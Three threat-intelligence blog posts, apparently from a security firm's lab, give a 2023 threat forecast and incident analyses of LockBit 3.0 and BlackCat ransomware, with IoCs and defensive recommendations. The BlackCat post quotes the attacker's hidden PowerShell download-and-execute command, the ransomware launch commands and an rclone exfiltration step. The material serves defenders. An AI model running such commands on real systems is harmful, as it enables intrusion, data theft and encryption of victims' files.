Hackers will weaponise exploits at an even faster rate and scale to bypass heightened controls, thus achieving near-instant impact beyond initial access

Threat actors have demonstrated their increasing sophistication in speed and scale through the decreased timeframe required to weaponise critical vulnerabilities. In 2022, threat actors were able to weaponise critical vulnerabilities such as Zimbra Collaboration arbitrary memcache command injection (CVE-2022-27924) and FortiOS authentication bypass (CVE-2022-40684) within three (3) days of the Proof-of-Concepts (POCs) being published to perform unauthenticated remote code execution. In extreme cases such as Log4Shell (CVE-2021-44228), we observed that the weaponisation occurred a mere eight (8) hours after public release from our first incident response of the year (read more here).

Part of the reason why threat actors need to go faster is due to improved security controls of service providers. For example, Microsoft announced in February 2022 that Microsoft Office would automatically block Visual Basic Applications (VBA) macros in all downloaded documents by default in a phased rollout approach between April and June. As a result, we observed threat actors expeditiously developing novel exploits to perform client-site execution that bypasses the newly introduced security controls. [1] This includes the Mark-of-the-Web (MOTW) vulnerability (CVE-2022-44698) which allows for specially crafted ZIP and ISO files to be downloaded and executed without undergoing integrity checks on the user’s endpoint. [2] PwC’s Dark Lab has actively responded to an incident in August 2022 that observed the threat actor deploying Magniber ransomware after exploiting the MOTW vulnerability.

Meanwhile, exploit toolkits are not new but are being matured to an extent where threat actors of all sophistication can utilise to achieve near-instant impact beyond just initial access. In the cases of Zimbra (CVE-2022-27924) and FortiOS (CVE-2022-40684), our incident response experience suggests that threat actors likely leveraged exploit toolkits to automatically chain the POC exploit with standardised steps to establish persistence, perform discovery, move laterally, and achieve elevated privileges if applicable. As a result, victims that did not swiftly apply patches or workarounds to mitigate the risks associated with critical vulnerabilities likely needed to conduct intelligence-led threat hunting to ensure that their environment was not further impacted in any way.

We hypothesise that the rate and scale of weaponisation would further increase as threat actors look to find novel means to bypass increasingly mature security controls at an organisation’s external perimeter, aided by threat actors maturing their automated toolkits to maximise impact upon initial access. The number of vulnerabilities in 2022 had already grown at an inexorable rate of 25 percent from the previous year from 20,171 to 25,226[3], including the SonicWall SSL VPN post-authentication arbitrary file read vulnerability zero-day (CVE-2022-22279) [4] that Dark Lab discovered in an incident response case by the LockBit Ransomware-as-a-Service (RaaS) group in March 2022 (read more here). In that case, we uncovered during our incident response that the exploit code was actively being circulated and discussed on dark web forums in February 2022 and actively weaponised by several threat actors several days after disclosure to circumvent multi-factor authentication (MFA) access controls if they had access to valid credentials.

Human-operated ransomware threat actors will increase their sophistication to make-up the shortfalls of the Crypto winter

Human-operated ransomware attacks have dominated the cyber threat landscape over the past three years, booming just prior to the wake of the Covid-19 pandemic in 2020. This is largely attributed to the rise of RaaS, such as LockBit 3.0 and BlackCat who have lowered the barriers to entry for low-level threat actors by providing a subscription-based affiliate model offering custom-developed ransomware packages.

Even as the cryptocurrency markets falter, our monitoring of the overall number of listed victims on ransomware group leak sites has not dropped significantly throughout 2022. To put this into context, since the downfall of the prominent industry-leading cryptocurrency exchange FTX [5], Bitcoin and other cryptocurrencies were down almost 70 percent relative to the start of the year. However, their value remains significantly higher in comparison to 2020 levels, suggesting that ransomware groups will not disappear.

We posit that ransomware attacks will continue to rise as threat actors look to increase their victim list to make up for the staggering decline in the value of cryptocurrencies and the extreme market volatility. Simple economics suggests that threat actors would need to make up their shortfall in cryptocurrency value decline by either increasing the ransom pay-out rate (i.e., probability) or increasing the number of victims (i.e., supply). As organisations’ defenses become more advanced, cybercriminals may also need to shift to more sophisticated techniques to achieve initial access. In a recent incident response, we also observed the RaaS group Black Basta achieve initial access via a mass-scale phishing campaign before deploying ransomware (read more in a future blog post!). We expect more of the same in 2023.

The race for talent is on – threat actors are collaborating, crowdsourcing, and leveraging artificial intelligence (AI) to innovate. Enterprises will level the playing field by embracing “learn to hack” and “hack to earn” concept.

Threat actors have always been looking to gain a competitive advantage by specialising and crowdsourcing their skillsets. In 2022, our dark web monitoring allowed us to observe a 400 percent increase in listings of Initial Access Brokers (IABs), which are specialised cybercriminals that sells access to compromised networks. This outsourcing model allows other cybercriminals, such as affiliates of RaaS groups including BlackCat/ALPHV, to focus on their domain expertise (read more here). This demonstrates that this model was effective to a large extent.

However, talent has never been more scarce. Innovative threat actors have resorted to other channels for growth and inspiration. For example, other RaaS groups such as LockBit 3.0 RaaS group introduced the first bug bounty programme offered by cybercriminals. This included up to US$ 1 million for hackers of all backgrounds should they identify critical flaws in their malware, tools, or infrastructure. [6] Other threat actors have been observed from our dark web monitoring to host regular hackathons promising prize pools of up to one (1) Bitcoin for technology-specific POCs. Finally, the introduction of new tools such as ChatGPT has pushed the barrier to entry to a much lower level, and it has never been easier for script kiddies to weaponise their exploits.

We theorise that threat actors would further seek out various means to improve their competitive advantage, including collaboration and crowdsourcing. This was already an existing trend due to the RaaS affiliate model and attack-as-a-service models such as IABs, but is being disrupted by bug bounty programmes, hackathons, and artificial intelligence as a means to overcome the global cybersecurity talent shortage and skills gap. [7] As a result, enterprises are now facing an uphill battle against threat actors that are led by organisations that are harnessing the power of the people. To level the playing field, we also expect that enterprises will explore how to embrace the “learn to hack” and “hack to earn” concepts. We posit that leading enterprises will participate in bug bounty programmes and shift away from regular vulnerability scans and penetration testing to continuous assessment by bounty hunters who may not be affiliated with any vendor. Meanwhile, we also expect to see the establishment of cyber academies with the intention of democratising security through the re-skilling and upskilling pf all interested individuals regardless of their technical background. This would also provide enterprises with a new talent pipeline to ensure we have sufficient resources to fight back against “cybercriminalism”.

Web-based exploitation and targeting of individual consumers will follow-up on the hype of metaverse and the web3 ecosystem

The metaverse has quickly gone from concept to working reality in the past years. A lot of talk in 2022 was focused on simulating physical operations on the metaverse activities through games, virtual experiences or shopping with cryptocurrency and other digital assets. These experiences are underpinned by technologies such as virtual reality (VR), augmented reality (AR) devices, and artificial intelligence (AI), which naturally introduce new risks and accentuates old ones due to interoperable platforms in web3. [8] In particular, phishing email and messaging scams are already successfully leveraged by threat actors to steal passwords, private keys, personal information and money. In the metaverse, that could be even easier, especially if people think they are speaking to the physical representation of somebody they know and trust, when it could be someone else entirely. [9]

We posit that 2023 would be the year where threat actors, in particular cybercriminals, make a large jump towards targeting both businesses and individual consumers, with an increased focus to exploit web-based vulnerabilities for initial access as a result of the growing connectivity and digitalisation. We had already observed this uprising trend in late 2022 with large-scale global smishing campaigns targeting Hong Kong and Singapore citizens by masquerading as trusted and reputable locally-based public and private postal service providers (read more here). The metaverse and web3 exacerbates consumer-targeting and introduces new vulnerabilities to an increased attack surface. Aside from smart contract weaknesses, further web-application based vulnerabilities such as Spring4Shell (CVE-2022-22965) is expected to be discovered, weaponised, and utilised by threat actors to deploy cryptocurrency miners. [10] PwC’s Dark Lab had uncovered the Spring4Shell POC on the dark web two days prior to the disclosure of the zero-day vulnerability (read more here), which further emphasises on the notion that the rate of weaponisation continues to accelerate from weeks to days or even hours.

Recommendations to Secure Your 2023

There is no telling with certainty what 2023 holds, but our experience with the challenges of 2022 teach us a number of valuable lessons on how organisations can harden their cyber security posture to protect against a multitude of attack vectors.

Grow selective hands-on technical capabilities in-house, and look to outsource and crowdsource your organisation’s security –
- Get started with bug bounty programmes: organisations should look to emulate threat actors’ by crowdsourcing specific parts of their security initiatives. In particular, organisations should explore onboarding to bug bounty programmes as it leverages the competitive advantage of the community to identify potential vulnerabilities and misconfigurations rapidly and continuously in their external perimeter. This would level the playing field, and ensure that enterprises are not alone in facing threats from threat actors groups and their affiliates by themselves. If this route were pursued, organisations should ensure they have proper governance and processes (e.g., Vulnerability Disclosure Policy) to ensure responsible disclosure of potential vulnerabilities by bounty hunters.
- Upskill and reskill your current workforce’s technical capabilities: organisations should not just rely on purely outsourcing security tasks, given there is a global shortage of talent. Instead, they should look for practical hands-on technical courses that would upskill and/or reskill their existing workforce to be more proficient in cyber threat operations, including but not limited to offensive security, security operations, incident response, threat intelligence, and threat and vulnerability management.
Enforce a Layered Intrusion Defense Strategy
- Continuously Discover and Harden Your Attack Surface: organisations should prioritise efforts to evaluate their attack surface exposure by reviewing public-facing services and technologies in order to assess the potential risks of internet-facing services and making necessary countermeasures to eliminate the risk, such as reducing internet-exposed infrastructure, network segmentation, or decoupling the demilitarised zone from the internal network.
- Protect Privileged Accounts: as we observe threat actors pivot targeting to end users, it is critical to enforce strong credential protection and management strategies and solutions to limit credential theft and abuse. This includes leveraging technologies such as account tiering and managed services accounts, enforcing multi-factor authentication (MFA), credential hardening from privileged accounts, and regular reviewing of access rights ensuring that all practices align with zero trust and least privilege policies.
- Review and Strengthen Email Security: review current email solution configurations to ensure coverage from preventative security solutions (including external firewalls and web proxies) and implementation of conditional access rules to restrict access of suspicious activity. Consider hardening email security by leveraging artificial intelligence and machine learning technologies to augment the authentication process and create an additional barrier to restrict potential threats from bypassing detecting and delivering to the victim.
- Identifying and Protecting Critical Internal Systems: threat actors target critical systems (i.e. Domain Controllers, local and cloud backup servers, file servers, antivirus servers) that house highly sensitive information, which observed in various incidents were not protected by EDR solutions. It is crucial that organisations secure critical systems by enforcing heightened approach to devising security strategies for critical assets – including EDR, stringent patching standards, network segmentation and regular monitoring for anomolies and/or indicators of compromise.
- Defending Against Lateral Movement: the majority of threat actors moving across network rely on mechanisms that are relatively easy to disrupt with security restrictions such as restriction of remote desktop protocol between user zones, network zoning for legacy systems, segmenting dedicated applications with limited users, and disabling Windows Remote Management, among others.
Continuously Assess your Attack Surface Exposure to understand what threats present the most prevalent challenges to your organisations and uplift preventive and detective strategies to protect against likely threats.
- Establish a robust attack surface management programme to continuously identify potential vulnerabilities on your public-facing applications, discover potential shadow IT, and stay alert to potential security risks as a result of the changing threat landscape (e.g., newly registered domains that may look to impersonate your organisation). External-facing assets should be protected with the relevant security solutions and policies to prevent, detect, and restrict malicious activity, as well as to facilitate rapid response and recovery in the case of a breach.
- Perform threat modelling to identify the threat actor groups most likely to target your region and/or sector, map your attack surface to the identified potential threats to assess how a threat actor could exploit your attack surface, and develop a plan of action to minimise that threat exposure. Regardless of whether there was a breach or not, we also recommend organisations conduct iterative intelligence-led threat hunting using the outputs of the threat modelling. As a result, the threat model also needs to be updated on a regular basis (i.e., several times a year, if not already continuously).
- Establish continuous dark web monitoring to discover if there are data breaches related to your organisation, as well as if threat actors such as IABs looking to sell access to compromised accounts and breached external assets such as web applications and web servers.
Adopt a ‘Shift Left’ Mindset – embed cybersecurity at the forefront of innovation and implementation of new platforms, products, as well as the adoption of cloud or software solutions.
- DevSecOps: embedding cybersecurity considerations from the initial development stage enables developers to identify and address bugs and security challenges early in the development progress, strengthening the security posture of the platform to reduce vulnerabilities and attack surface exposure.
- Adoption of new technologies: the shift left mindset can also be applied to the adoption of cloud, security, and other software solutions. Organisations should be maintain oversight and awareness of new technologies being deployed in their network, assess the scope and coverage of the solutions, and subsequently develop a process to assess the security implications and risks of using these technologies.

Further information

Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.

LockBit 3.0: New Capabilities Unlocked

Posted on November 7, 2022 by darklabhk

LockBit persists as the most prominent Ransomware-as-a-Service (RaaS) groups in 2022, showcasing heightened capabilities in their LockBit 3.0 iteration and a persistent nature to continuously evolve.

As the LockBit RaaS group re-emerges with their new and improved ransomware, LockBit 3.0 (also known as LockBit Black), we observed new capabilities and a heightened sophistication based on their increased frequency of attack and speed to impact, posing an ever-growing threat to organisations worldwide.

PwC’s Dark Lab observed over 860 breaches between 1 October 2021 and 31 October 2022 attributed to the LockBit RaaS group. 19% of global LockBit incidents impacted the Asia Pacific (APAC) region, with industries most prominently targeted in the region being Professional Services and Manufacturing Services, comprising 44% of total incidents observed in APAC. Despite this, we assess they are still opportunistic by nature and these statistics reflect that potentially certain industries are more likely victims potentially due to their overall lower maturity of controls when compared to regulated industries.

*Figure 1: Dark Lab Observed Over 860 LockBit Incidents from LockBit’s Leak Site between October 2021 and October 2022*

*Figure 2: Industry Breakdown of LockBit Targeting in APAC according to LockBit’s Leak Site*

Comprising approximately 40% of all ransomware attacks against APAC observed between 1 October 2021 and 31 October 2022, LockBit presents a persistent threat to the region. This blog extends from our previous blogs covering LockBit 2.0 to focus on the new 3.0 iteration, highlighting novel tactics, techniques, and procedures (TTPs) observed in Dark Lab’s recent incident. [1] [2]

A Recent Encounter with LockBit 3.0

In Q3 2022, PwC’s Dark Lab responded and contained a ransomware attack against a Chinese multinational conglomerate. Attributed to the LockBit 3.0 RaaS group, this was concluded with high confidence based on a number of key indicators, aligning with LockBit’s typical attack vector.

Firstly, similar to previous LockBit 2.0 incidents observed by PwC’s Dark Lab, the vulnerability exploited to obtain valid credentials was a SSL VPN vulnerability. In this instance, CVE-2018-13379 was exploited – a vulnerability in Fortinet’s outdated FortiOS and FortiProxy versions whereby an authenticated attacker may exploit the SSL VPN web portal to download system files using custom HTTP requests. [3]

Secondly, PwC’s Dark Lab discovered the presence of the LockBit executable file .lockbit and the StealBit.exe information stealer tool in the compromised environment, both of which are commonly deployed malwares by the LockBit RaaS group. [4]

Filename	`LockBit.exe`
MD5	`ad2918181f609861ccb7bda8ebcb10e5`
File Type	Win32 EXE
File Size	163,328 bytes

Filename	`Stealbit.exe`
MD5	`72e3efc9f6c7e36a7fb498ab4b9814ac`
File Type	Win32 EXE
File Size	441,856 bytes

StealBit.exe is a versatile, configurable information stealer with observed customisable configurations including the ability to specify network limit, maximum file size, filtering of files by keywords and file extensions, and optional features such as self-deletion and ScanShares.

A notable observation of the StealBit.exe running process was the list of keywords to filter and identify files for exfiltration, including keywords used to target files relating to specified insurance companies. Dark Lab hypothesises StealBit.exe was used to target information on the victim organisation’s insurance policy to understand their coverage pertaining to data breaches and ransomware attacks and adapt their ransom price accordingly. We posit this is a means of increasing the likelihood of their demanded ransom payment by targeting the victim’s insurance coverage, meaning that ransom payment would be covered by the insurance company, rather than the victim itself. Further, we observe keywords such as ‘violation’, ‘tax’, ‘evasion’, likely to collect evidence of the targeted victim’s misconduct to use as blackmail in the event the victim refuses to pay the ransom.

In examining the encryption process of lockbit.exe, we observed the total encryption speed of 3.8 minutes for 3,957 files (total file size 3080.16 mega byes), approximating an encryption speed of 13.6 megabytes per second. This comparatively fast encryption speed shows heightened capability of the LockBit ransomware, observed by various security researchers to have the highest encryption speed across ransomwares. [5]

Thirdly, Dark Lab observed a notable differentiator in comparison with previous LockBit 2.0 encounters – the presence of legacy RaaS group, BlackMatter’s code embedded in the LockBit codebase, signifying that the LockBit 3.0 iteration was executed in this incident. BlackMatter is a notorious RaaS group active from July 2021 to October 2021 known for targeting the U.S. health sector and suspected to be a rebranding of the DarkSide RaaS group. [6]

As observed by security researchers in the wake of LockBit 3.0, the new iteration of LockBit appears to borrow code from the legacy group with notable new features adopted from BlackMatter. This was further validated in an interview with the alleged LockBit founder, confirming that in preparation of LockBit 3.0, the group purchased the BlackMatter source code to enhance the ransomware. [7] Features utilised from the BlackMatter source code include API harvesting for privileged escalation, self-deletion of shadow copies using WMI via COM objects and the elimination of pre-existing bugs. [8]

Further investigation into the lockbit.exe executable file confirmed traces to LockBit 3.0. As evidenced below, the malware is a known malicious file matching YARA rules pinpointing relations to LockBit and BlackMatter respectively.

*Figure 3: VirusTotal flagged that the LockBit executable file indicated matches to LockBit and BlackMatter*

*Figure 4: Evidence of LockBit 3.0 ransomware deployed in incident “`95ddbeacd79ad7d944e75f55ca323a13076b756c4accefd28e206a76b3ea268b`” and confirmed association with BlackMatter*

The Future of LockBit

The LockBit RaaS group has proven persistence and no means of halting operations. This is observed in the first-ever ransomware bug bounty program launched by the group in June 2022, awarding up to US$1 million to anyone able to identify critical bugs or provide innovative ideas to enhance their LockBit 3.0 ransomware. This not only exemplifies their financial viability, but it implies their intention to continue enhancing their offerings as a means of providing high consumer confidence and to retain and grow their affiliate base.

*Figure 5: Screenshot of LockBit’s Bug Bounty Program Advertised on their Leak Site*

*Figure 6: Screenshot of LockBit’s Bug Bounty Program Advertised on their Leak Site*

LockBit is recognised as a leader in the RaaS landscape, offering one of the best affiliate recruitment programs. This is largely due to their unique payment structure which favours affiliates and their lack of political association. [9] In an interview with an alleged LockBit member held in July 2022, the LockBit representative accredits their successful affiliate recruitment program to their emphasis on “honesty”, priding themselves as the only affiliate group known to “not touch the ransoms obtained by partners”. [10]

In a more recent interview on 30 October 2022, the blog vx-underground [11] spoke with the alleged founder of LockBit on the affiliate payment structure and origin story of the group. It was confirmed that LockBit’s founding members gain a 20% cut of affiliates’ profits, with this increasing to 30-50% in the event that the affiliate requires additional support from the group in performing negotiations with the targeted victim. The representative further confirmed that LockBit currently comprises of 10 core members (including pen testers, money launderers, testers, and negotiators) and an affiliate base of over 100 affiliates – which they aspire to grow to 300.

As observed in both interviews, LockBit has secured themselves as a market leader in the RaaS landscape due to their favourable payment structure, strong affiliate support system, and neutral political stance. As implied in the latest interview, the group endeavours to continue expanding their affiliate base which will reflect in a continuous enhancing of their ransomware products to differentiate themselves amongst other RaaS operators to attract new joiners. We posit that the RaaS scene will continue to expand as the competitive landscape will drive more effective, enticing ransomware packages – increasing accessibility and scale of operations for financially-driven low skill-levelled hackers – complete with instructions, toolkits, and custom malware to execute large-scale attacks.

Notably, LockBit affiliates are known to re-use known initial access points (e.g. SSL VPN vulnerabilities – Citrix Gateway (CVE-2019-19781), Pulse Secure (CVE-2019-11510), Fortinet FortiOS (CVE-2018-13379)). However, as per our post on LockBit 2.0’s SonicWall exploit to bypass multi-factor authentication (MFA) [12], the group is not averse to deviating from their usual attack path as we observed the affiliate chain a known SQLi vulnerability (CVE-2019-7481 or CVE-2021-20028) with an undisclosed zero-day vulnerability to circumvent the MFA access control of the victim’s SonicWall SRA SSL VPN.

A further evolution in LockBit’s attack path is their announcement to begin executing triple extortion tactics. This is in retaliation of the incident with security company Entrust, in which LockBit’s corporate data leak site was targeted by a Distributed Denial of Service (DDoS) allegedly executed by Entrust to stop Lockbit from leaking Entrust’s compromised data. This prompted LockBit RaaS to announce they will add a third extortion tactic, for maximum impact on targeted victims.

*Figure 7: LockBit’s Triple Extortion Attack Path*

Conclusion

LockBit 3.0 affiliates work on behalf of the LockBit group to conduct ransomware campaigns against organisations and industries across the globe. As previously posited in our technical analysis of LockBit 2.0 [13], the RaaS group is financially-driven and through these incidents we observed, affiliates with a diversified capability and skillset exploit are observed to exploit SSL VPN vulnerabilities to circumvent the MFA access control and obtain initial access. Organisations are encouraged to review the TTPs leveraged by LockBit affiliates as a result of our recent incident response experience to improve their preventive and detective controls.

Check out our previous LockBit blogs for the full technical analysis:

LockBit 2.0 affiliate’s new SonicWall exploit bypasses MFA [14]
Technical analysis of LockBit 2.0 affiliates’ SonicWall exploit that bypasses MFA [15]

Recommendations

As RaaS groups continuously persist and evolve their attack vectors, it is vital that organisations implement robust, layered defence strategies based on the concept of zero trust.

Preventative

Enforce a layered defence strategy incorporating secure network security protocols (including but not limited to firewall, proxy filtering, intrusion detection systems (IDS), intrusion prevention systems (IPS), secure VPNs and security gateways).
Optimising security application configurations for effective coverage, tailoring rules and configurations to business needs, or ensuring that out-of-the-box (OOTB) configurations provide adequate coverage.
Update your blacklist with the indicators of compromise (IoCs) shared below and block outgoing network connections to the identified C2 server. We encourage you to visit our previous LockBit blogs for an expansive list of LockBit IoCs identified by PwC’s Dark Lab.
Disable unused administrative ports internally, such as Remote Desktop Protocol (RDP).

Detective

Identify, detect, and investigate abnormal activity and potential traversal of the threat actor across the network, such as ensuring coverage of Endpoint Detection and Response (EDR) tools on critical endpoints, including workstations, laptops and servers.
Regularly scan your network environment for potential vulnerability(s) exposure and remediate immediately, such as deploying available patches, establishing regular schedules updates and periodically reviewing configuration settings for potential misconfigurations.
Conduct a search of historical logs to detect for any potential presence in your network environment, ensuring that an alert system is established should any indicators be identified. If any indicators are discovered, it is advised that a digital forensic investigation is conducted to identify the potentially foregone impact, including the compromised information and systems, and apply the appropriate containment and remediation measures.

Indicators of Compromise (IoCs)

We include the observed IoCs in our encounter with LockBit 3.0.

Indicator	File Type
`162[.]214[.]152 [.]179`	External server of StealBit
`72e3efc9f6c7e36a7fb498ab4b9814ac`	`Stealbit.exe`
`ad2918181f609861ccb7bda8ebcb10e5`	`Lockbit.exe`
`131[.]107[.]255[.]255`	IP Address
`23[.]216[.]147[.]64`	IP Address
`20[.]99[.]132[.]105`	IP Address

Further information

Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.

The Black Cat’s Out of the Bag

Posted on September 6, 2022 by darklabhk

Dark Lab responded to a lesser seen ransomware breed in Hong Kong attributable to ALPHV/BlackCat. We outline the tactics, techniques and procedures of the threat actor, and share our recommendations to ensure readers do not have a cat in hell’s chance of becoming the next victim.

In the second half of 2022, Dark Lab responded to an incident impacting a non-profit professional services organization in Hong Kong. Available evidence suggests that one of the affiliates of the cybercriminal group ALPHV, otherwise known as BlackCat Ransomware-as-a-Service (RaaS), were likely behind the incident.

Reports of BlackCat first emerged in mid-November 2021, and the RaaS group swiftly gained notoriety for their use of the unconventional programming language RUST, their flexibility to self-propagate and target multiple devices and operating systems, and a growing affiliate base with previous links to prolific threat activity groups including DarkSide/BlackMatter and Lockbit 2.0 RaaS programmes.[1] The financially motivated cybercriminal groups’ targets are selected opportunistically rather than with an intent to target specific sectors or geographies but have been observed from their leak site as of 31 August 2022 to have successfully targeted 136 organisations across the United States, Europe, and the Asia Pacific region.

BlackCat is a lesser seen ransomware breed in Hong Kong. However, we posit they may continue to target the region, due to their opportunistic nature and scalability through their affiliate network. In this blog, we will analyse Dark Lab’s recent encounter with BlackCat, their Tactics, Techniques, and Procedures (TTPs), and share insights and recommendations on how to detect and respond to prospective attacks.

Analysis and Exploitation in the wild

Initial Access

Based on the available audit logs, the threat actor likely leveraged a critical remote code execution vulnerability CVE-2019-0708 or BlueKeep in Remote Desktop Services – formerly known as Terminal Services – that affects selected older versions of Windows.[2] To exploit this vulnerability, an unauthenticated attacker would need to send a specially crafted request to the target systems Remote Desktop Service via Remote Desktop Protocol (RDP). An attacker who successfully exploited this vulnerability could execute arbitrary code on the target system, including installing programs; view, change, or delete data; or create new accounts with full user rights.[3] It should be noted that the RDP service itself is not vulnerable.

It was observed over the first three (3) days that the three of five (3 of 5) potentially malicious IP addresses to gain access to the vulnerable workstation in the victim environment, which was exposed to the Internet. The first two IP addresses logged in one day apart, and per various public sources have been flagged as potentially malicious dating back to December 2021.[4] The time spent in the environment was observed to be minimal and no more than a couple of hours combined, with specific execution of the Advanced Port Scanner and Mimikatz observed in the second session. More details will be elaborated in the next section.

Meanwhile, the third IP address was not previously reported to be malicious. The time spent in the environment was increased to almost eight (8) hours, though based on the available audit logs we were unable to ascertain the actions of the threat actor. Notably, the threat actor then remained silent for slightly over one (1) week between the initial login from the third IP address to the subsequent login of the fourth IP address. A fifth IP address was also observed to have logged on to the vulnerable workstation thereafter.

While we are unable to attribute any of those five (5) IP addresses to specific threat actors, we hypothesize that there are two groups of threat actors – the first being an initial access broker as categorized by the first two IP addresses, and the second being the BlackCat affiliate as categorized by the remaining three IP addresses.

Suspected Threat Actor	Country	Reported Malicious	Reported Malicious on OSINT Platforms	Days of Access	Reported Malicious on OSINT Platforms
Initial Access Broker	Belize	Yes	April 2022	Day 1	5 mins
Initial Access Broker	Russia	Yes	June 2022	Day 2	1 hour
BlackCat Affiliate	Russia	No	–	Day 3	7 hours
BlackCat Affiliate	USA	No	–	Day 10	9 hours
BlackCat Affiliate	USA	No	–	Day 10	2 days 4 hours

Through investigation into the user account compromised, we determined that the victim’s device was unknowingly exposed to the Internet due to a multi-homing issue, whereby their device was connected to both the corporate network as well as a standalone network with an external firewall and network configurations and that exposed the device to the Internet. It was further observed that the workstation had not been updated for multiple years, leaving the device unpatched and vulnerable to exploitation.

CVE(s)	CVE-2019-0708
First Published Date	26 November 2018
CVSS v3	9.8
Affected Versions	Windows 7, Windows Server 2008 R2, Windows Server 2008 and earlier.
Description	A remote code execution vulnerability exists in Remote Desktop Services formerly known as Terminal Services when an unauthenticated attacker connects to the target system using RDP and sends specially crafted requests, aka ‘Remote Desktop Services Remote Code Execution Vulnerability.[5]
Potential Impact	Remote Code Execution Vulnerability enables threat actors to gain initial access and execute the malicious code.
Proof of Concept (PoC) Available	Yes[6]
Exploited in the Wild	Yes[7]
Patch Available	Yes. Update to Windows Server 2012 or above. We highly recommend installing the latest Windows version for patches against additional unrelated vulnerabilities.
Workaround Available	Microsoft[8] has provided potential workarounds: • Disable Remote Desktop Services if they are not required. • Enable Network Level Authentication (NLA) on systems running supported editions of the affected Windows versions. • Block TCP port 3389 at the enterprise perimeter firewall.

Credential Access and Discovery by Suspected Initial Access Broker

We observed the threat actor deployed Advanced Port Scanner[9] to scan the network for open ports on network computers to identify weakened pathways.

The threat actor proceeded to execute Mimikatz[10] to dump the Local Security Authority Server Service (LSASS) process memory and obtain various credentials, including an account with domain administrator rights. This credential was later used for lateral movement.

Handover to Suspected BlackCat Affiliate for Further Discovery and Command & Control

It was observed that the threat actor executed a PowerShell command, Cobalt Strike BEACON (beacon.exe) [11] to initiate a connection with their command-and-control (C2) server, establishing a foothold on the victim network. The C2 enabled remote access to the environment without RDP, as well as further infiltration by leveraging various features provided by the implant.

The threat actor established a connection to a Cobalt Strike Beacon hosted on a public cloud server, potentially to collect their various toolkits by executing this command: powershell.exe -nop -w hidden -c IEX ((new-object.netclient).downloadstring("http:///a’). Subsequently, the threat actor deployed AdFind.exe [12] to perform active directory reconnaissance, enabling them to retrieve a list of accounts within the network.

BlackCat affiliates have been observed in the past to leverage AdFind.exe in conjunction with PowerShell to establish a persistent foothold on a target network, and thereafter downloading and executing malicious payloads.[13] The fact that the threat actor did this only from the fourth and fifth IP instead of the first three IP addresses lends more credence to the hypothesis that we make that the first set of IP addresses were initial access broker.

Lateral Movement

Through their enumeration of the victim’s environment, the threat actor was able to identify their critical systems ideal for targeting, including the domain controller server, back-up servers, and the anti-virus management server. It was observed by the threat actor that the anti-virus management server had no Endpoint Detection and Response (EDR) installed. Selective targeting of critical systems with no EDR coverage is a common practice among sophisticated threat actors as they present an ideal environment for attackers to arbitrate their attack while stealthily evading detection.

Subsequent to identifying the critical systems, the threat actor leveraged the stolen domain administrator account to initiate a remote desktop (RDP) connection. This enabled the threat actor to laterally move from the compromised multihoming workstation to the targeted endpoints due to the flat network environment, as a result of basic or lack of network segmentation in place.

Defense Evasion

It was observed that the threat actor exercised various acts of defense evasion through the use of masquerading tools and lateral movement. A key indicator tying this incident to BlackCat RaaS is the renaming of their tools an evasive manoeuvre often used by BlackCat affiliates to hide their malicious tools and make the process appear as if it is the original Windows svchost process.[14]

Exfiltration

The threat actor proceeded to manually deploy the malware on the anti-virus management server, initiating the self-propagation process whilst deploying rclone.exe[15] to exfiltrate the data to their cloud storage hosted on MEGACloud. Notably, while the New Zealand cloud service, MEGACloud, is a legitimate and trusted platform, it is also a popular service for hackers due to the platform’s unique payment feature allowing users to pay by Bitcoin.[16]

It has been reported by security researchers that BlackCat affiliates leverage rclone.exe to collect and exfiltrate extensive amounts of data from their victim’s network.[17] The threat actor executed the following command to exfiltrate data from the target network: ProgramData\rclone.exe

Impact

The threat actor exercised encryption of the exfiltrated data and executed locker.exe on various endpoints with the following commands:

C:\Windows\locker.exe" --child --access-token --verbose
C:\Windows\locker.exe" --access-token -v --no-prop-servers \ –propagated

The commands activate the BlackCat payload. Command 2 provides an indicator (“no-props-servers”) that the malware has the capability to self-propagate, but the threat actor strategically targeted critical servers for propagation, omitting servers likely to detect their movements.

It is worth noting that self-propagation is not a common feature of ransomwares. Ultimately, the goal of threat actors is to gain a foothold on a network as quick as possible for exfiltration and extortion. Self-propagation can work against this need for speed, as it requires time in the resource development phase to enumerate the network and select their targets, as well as a manual deployment of the attack. With that said, after the initial deployment the BlackCat ransomware is able to self-propagate, scaling across the network quickly – establishing their foothold whilst evading detection.

Conclusion

BlackCat affiliates work on behalf of the BlackCat group to conduct human-operated ransomware campaigns, opportunistic in nature. With a sophisticated toolkit, various evasion tactics including the RUST-written malware and self-propagating features, BlackCat RaaS poses a significant threat to organisations with conventional security systems. Organisations are encouraged to review the TTPs leveraged by BlackCat affiliates as a result of our recent incident response experience to improve their preventative and detective controls.

Recommendations

As mentioned in the previous blog posts, defending against human-operated ransomware incidents are extremely challenging, but not impossible if organisations adopt a defense-in-depth approach. The following guiding principles should be observed, atop of those already listed in the previous blog post:

Implement a robust threat and vulnerability management programme that leverages cyber threat intelligence to defend against human-operated ransomware incidents.
Design, implement, and operate an enterprise security architecture that embeds the concept of zero trust to focus on protecting critical resources (assets, services, workflows, network accounts, etc.), and not specifically just for network segments, as the network location is no longer seen as the prime component to the security posture of the resource.
Segment networks where operationally practical to prevent the spread of ransomware by controlling traffic flows between various subnetworks and by restricting adversary lateral movement. Disable unused administrative ports internally, such as Remote Desktop Protocol (RDP).
Identify, detect, and investigate abnormal activity and potential traversal of the threat actor across the network, such as ensuring coverage of Endpoint Detection and Response (EDR) tools on critical endpoints, including workstations, laptops and servers.
Perform malicious account and group policy creation to identify unauthorized changes and misconfigurations in your organisation’s network environment
Regularly perform a review for network and host-based assets for complete stock-taking to identify unpatched or misconfigured devices. Specifically, to maintain an inventory of assets, with clear indication of the critical systems and sensitive data, mapped to business owners and the relevant security controls to manage cyber risk.
Create a blacklist for the identified indicators of compromise (“IOC”) shared below to enable network-wide blocking and detection of attempted entry or attack and set up ongoing monitoring on the dark web and BlackCat leak site.

In addition, we strongly urge organisations that have deployed the vulnerable versions of Windows operating systems to execute the remediation actions outlined in the blog post, if not already completed.

MITRE ATT&CK TTPs Leveraged

We include the observed MITRE ATT&CK tactics and techniques elaborated from the incident.

Active Scanning – T1595
Gather Victim Identity Information: Credentials – T1589.001
Credential Dumping – T1003
Account Discovery: Domain Account – T1087.002
Valid Accounts – T1078
Domain Accounts – T1078.002
Command and Scripting Interpreter – T1059
External Remote Services – T1133
Domain Trust Discovery – T1482
Remote System Discovery – T1018
Impair Defenses – T1562
